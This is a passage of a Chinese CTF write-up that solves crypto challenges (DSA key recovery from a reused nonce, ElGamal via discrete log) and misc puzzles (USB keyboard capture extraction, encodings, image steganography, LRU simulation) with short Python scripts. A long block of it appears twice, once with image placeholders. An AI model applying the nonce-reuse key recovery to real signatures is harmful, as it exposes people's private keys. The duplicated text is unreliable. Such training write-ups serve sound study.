temp = (hash2+x*r2) % q
s2 = (k1*temp) % q
print('r2 = '+str(r2))
print('s2 = '+str(s2))
输出是
r1 = 61576286772875698055833210329141859270511026570 s1 = 908383015506496333929282229337955808645553849812 r2 = 61576286772875698055833210329141859270511026570 s2 = 1040498261456636699324771362379775716661790248969
由于两次加密都采用了同一个随机数,产生漏洞,依据这个攻击。
p = 7434410770759874867539421675728577177024889699586189000788950934679315164676852047058354758883833299702695428196962057871264685291775577130504050839126673
q = 1138656671590261728308283492178581223478058193247
g = 5154978420348751798752390524304908179080782918903280816528537868887210221705817467399501053627846983235883800157945206652168013881208773209963452245182466
r1 = 61576286772875698055833210329141859270511026570
s1 = 908383015506496333929282229337955808645553849812
r2 = 61576286772875698055833210329141859270511026570
s2 = 1040498261456636699324771362379775716661790248969
import hashlib
import gmpy2
import libnum
message1 = "The private key maybe flag."
message2 = "Don't forget to turn it into a string."
sha1 = hashlib.sha1()
sha2 = hashlib.sha1()
sha1.update(message1.encode('utf-8'))
sha2.update(message2.encode('utf-8'))
hash1 = int('0x'+sha1.hexdigest(), 16)
hash2 = int('0x'+sha2.hexdigest(), 16)
m = gmpy2.invert(s2-s1, q)
k = (m*(hash2-hash1)) % q
r = gmpy2.invert(r1, q)
x = (((s1*k)-hash1)*r) % q
flag = libnum.n2s(x)
print(flag)
得到flag CUMTCTF{Ds@_1s_gO0d}
ez_ElGamal
打开文件看到脚本和输出
import gmpy2
import libnum
import random
p = 11134094838295635553
g = 1962623517223909351
x =
y = pow(g, x, p)
flag = input('Please input your flag:\n')
Message = str(libnum.s2n(flag))
length = len(Message)
M = []
i = 0
while True:
M.append(int(Message[i:i+10]))
i += 10
if (i+10) >= length:
M.append(int(Message[i:]))
break
a = []
b = []
for j in range(len(M)):
k = 0
while True:
k = random.randint(1, p-2)
l = gmpy2.gcd(p, k)
if l == 1:
break
a.append(pow(g, k, p))
b.append((pow(y, k, p)*M[j]) % p)
print(y)
print(a)
print(b)
输出是
y = 8659430449382927562 a = [9220136969320816827, 3016121291565289145, 2385776270247715315, 2017756985593862776, 2293926332947517130, 561651859739183961, 7202595915619471344, 98004836138992298] b = [5890385683892772319, 9335983886659975595, 6969915101001126701, 2741782081455806285, 2099529632099285032, 6184202397977204546, 8642556491849615972, 9969270518809733443]
这个加密其实不难,主要就是根据y和g求出来密钥x。 使用sympy库的函数discrete_log()函数可以求出来
y = 8659430449382927562
a = [9220136969320816827, 3016121291565289145, 2385776270247715315, 2017756985593862776, 2293926332947517130, 561651859739183961, 7202595915619471344, 98004836138992298]
b = [5890385683892772319, 9335983886659975595, 6969915101001126701, 2741782081455806285, 2099529632099285032, 6184202397977204546, 8642556491849615972, 9969270518809733443]
p = 11134094838295635553
g = 1962623517223909351
import sympy
import gmpy2
import libnum
x = sympy.discrete_log(p, y, g)
M = []
for i in range(len(a)):
a1 = gmpy2.invert(pow(a[i], x, p), p)
temp = (b[i]*a1) % p
M.append(temp)
s = ''.join(str(j) for j in M)
flag = libnum.n2s(int(s))
print(flag)
得到flag CUMTCTF{Y0U_gEEt_1T~~~Wo0ow!1}
Misc
ezbase
扫描二维码,得到压缩包密码,打开发现是反过来的base32编码。  解码后发现png头,写到文件,扫码得flag。
键盘侠
wireshark打开,发现是usb流量

再结合题目名,猜测是键盘流量;然后大致浏览一下,查一查usb流量的知识,发现从31条开始就是键盘输入的流量信息,其中HID Data段就是键盘数据包的内容。查一查相关usb流量,了解到
键盘数据包的数据长度为8个字节,击键信息集中在第3个字节,每次key stroke都会产生一个keyboard event usb packet。
具体键值表:HID类键盘键值解释_文档之家 (doczj.com)

那么便想办法把流量提取出来,分析输入了什么
使用tshark提取
tshark -r 小鲨鱼.pcapng -T fields -e usbhid.data > usbdata.txt

然后根据键值表,写个脚本提取出来
mappings = { '00':"",'04':"a", '05':"b", '06':"c", '07':"d", '08':"e", '09':"f", '0a':"g", '0b':"h", '0c':"i", '0d':"j", '0e':"k", '0f':"l", '10':"m", '11':"n",'12':"o", '13':"p", '14':"q", '15':"r", '16':"s", '17':"t", '18':"u",'19':"v", '1a':"w", '1b':"x", '1c':"y", '1d':"z", '1e':"1", '1f':"2", '20':"3", '21':"4", '22':"5", '23':"6", '24':"7", '25':"8", '26':"9", '27':"0", '28':"n", '2a':"[DEL]", '2b':" ", '2c':" ", '2d':"-", '2e':"=", '2f':"{", '30':"}", '31':"\\", '32':"~", '33':";", '34':"'", '36':",", '37':".",'39':"[CAPS_LOCK]"
}
nums = []
keys = open('usbdata.txt')
for line in keys:
if line[0]!='0':
continue
nums.append(line[4:6])
# 00:00:xx:....
keys.close()
output = ""
for n in range(len(nums)):
output += mappings[nums[n]]
print('output : ' + output)
其中,通过查表可知39对应的是CAPS_LOCK大写键,故flag之后的字符为大写,手动改一下,或者修改一下脚本
运行得到flag{[CAPS_LOCK]i-am-keyboardman}
手动修改后flag{I-AM-KEYBOARDMAN}
因为2d对应的键值是‘-和‘_',两个符号都试着提交一下,得到flag{I_AM_KEYBOARDMAN}
嗷呜~
嗷呜,兽音译者,解密出来
fc34f44b75ae100abb2af0e28b9251e5e59b5faf
四十位十六进制字符,想到文件哈希,试试磁链
获得flag.txt,下载后打开,只有一句话,但是有一处疑点,7个字占用1.7k的空间?猜测隐藏字符(或者零宽字符)
百度得到解密网址:http://zero.rovelast.com/
解密得到:{?po??p ̄& ̄?po?u?}?????n?
文字倒置,找工具:http://www.megaemoji.com/cn/generators/aboqe-flip/
得到cumtctf{encode_&_decode}

一个不小的文件
观察最后发现=,是base64反复加密 编写脚本
import base64
f = open('problem.txt', 'r')
str = f.read()
def dncode_base64_fun():
temp = str
while(1):
temp = str1 =(base64.b64decode(temp))
print(temp)
dncode_base64_fun()
ez_img
图片,明显下半部分显示不全,修改十六进制高度

尝试修改,发现0438的时候基本上显示全了,里面有flag,但是后半部分逐渐透明

想办法看透明的部分(实际上只是渐变到1%的透明度,完全透明信息就丢失了)
我这里是用Stegsolve查看的,Random colour map这边随便试几次就能明显看到

提交flag{mikumikumi}
lru
刚学完操作系统,出题让大家来复习。
c u m t c t f m e t e o { @ 0 u y a 3 0 @ { o e f m t c y f e o { @ 0 3 a u o r t r o u a 3 o @ { e f y e { @ o 3 a u o r 0 _ i o u e y g a 3 @ h 0 _ t o u e y b 3 a @ _ 0 d c @ a 3 b g e u o f t y g j k z c v f h j k v n m r t u i p k j y t r f v n m d e w o i u h g r k l m u t r e d f h n b f d e u i o p l m n g h y t r e w a q z x c f h j y e s } j h f c x z q a b d e g
数据块有12个,一个字母代表一个进程,淘汰的字符加起来即为flag (flag有点长~~~,解出来不用套结构,直接是flag)
网上也有很多实现,也可以看懂了直接改程序,主流还是链表加哈希表,不考虑效率可以直接用数组代替。
贴下Yoooo队的python实现
l ='cumtctfmeteo{@0uya30@{oefmtcyfeo{@03auortroua3o@{efye{@o3auor0_ioueyga3@h0_toueyb3a@_0dc@a3bgeuoftygjkzcvfhjkvnmrtuipkjytrfvnmdewoiuhgrklmutredfhnbfdeuioplmnghytrewaqzxcfhjyes}jhfcxzqabdeg'
t = []
for item in l:
if not item in t and len(t) < 12:
t.insert(0, item)
elif item in t:
t.remove(item)
t.insert(0, item)
elif len(t) == 12:
print(f'{t[11]}', end='')
del t[11]
t.insert(0, item)
import base64
f = open('problem.txt', 'r')
str = f.read()
def dncode_base64_fun():
temp = str
while(1):
temp = str1 =(base64.b64decode(temp))
print(temp)
dncode_base64_fun()
ez_img
图片,明显下半部分显示不全,修改十六进制高度
[外链图片转存中…(img-9W1MKgRc-1628437651083)]
尝试修改,发现0438的时候基本上显示全了,里面有flag,但是后半部分逐渐透明
[外链图片转存中…(img-v7qCk8bY-1628437651085)]
想办法看透明的部分(实际上只是渐变到1%的透明度,完全透明信息就丢失了)
我这里是用Stegsolve查看的,Random colour map这边随便试几次就能明显看到
[外链图片转存中…(img-M0iEsfF3-1628437651086)]
提交flag{mikumikumi}
lru
刚学完操作系统,出题让大家来复习。
c u m t c t f m e t e o { @ 0 u y a 3 0 @ { o e f m t c y f e o { @ 0 3 a u o r t r o u a 3 o @ { e f y e { @ o 3 a u o r 0 _ i o u e y g a 3 @ h 0 _ t o u e y b 3 a @ _ 0 d c @ a 3 b g e u o f t y g j k z c v f h j k v n m r t u i p k j y t r f v n m d e w o i u h g r k l m u t r e d f h n b f d e u i o p l m n g h y t r e w a q z x c f h j y e s } j h f c x z q a b d e g
数据块有12个,一个字母代表一个进程,淘汰的字符加起来即为flag (flag有点长~~~,解出来不用套结构,直接是flag)
网上也有很多实现,也可以看懂了直接改程序,主流还是链表加哈希表,不考虑效率可以直接用数组代替。
贴下Yoooo队的python实现
l ='cumtctfmeteo{@0uya30@{oefmtcyfeo{@03auortroua3o@{efye{@o3auor0_ioueyga3@h0_toueyb3a@_0dc@a3bgeuoftygjkzcvfhjkvnmrtuipkjytrfvnmdewoiuhgrklmutredfhnbfdeuioplmnghytrewaqzxcfhjyes}jhfcxzqabdeg'
t = []
for item in l:
if not item in t and len(t) < 12:
t.insert(0, item)
elif item in t:
t.remove(item)
t.insert(0, item)
elif len(t) == 12:
print(f'{t[11]}', end='')
del t[11]
t.insert(0, item)
|